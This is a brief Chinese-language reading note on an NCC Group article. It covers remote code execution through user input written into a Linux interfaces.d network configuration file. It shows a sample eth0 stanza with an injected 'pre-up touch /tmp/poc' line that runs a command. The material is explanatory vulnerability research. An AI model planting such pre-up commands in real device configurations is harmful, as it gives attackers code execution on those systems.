技术文章阅读-Interfaces.d to RCE

https://research.nccgroup.com/2020/02/10/interfaces-d-to-rce/

 

同样也是个用户输入到配置文件导致rce的。不过这里是到了/etc/interfaces.d/eth0这个文件，这里通过pre-up可以直接设置要执行的命令

auto eth0
iface eth0 inet static
    address 192.168.0.250
    netmask 255.255.255.0
    gateway 192.168.0.1
    pre-up touch /tmp/poc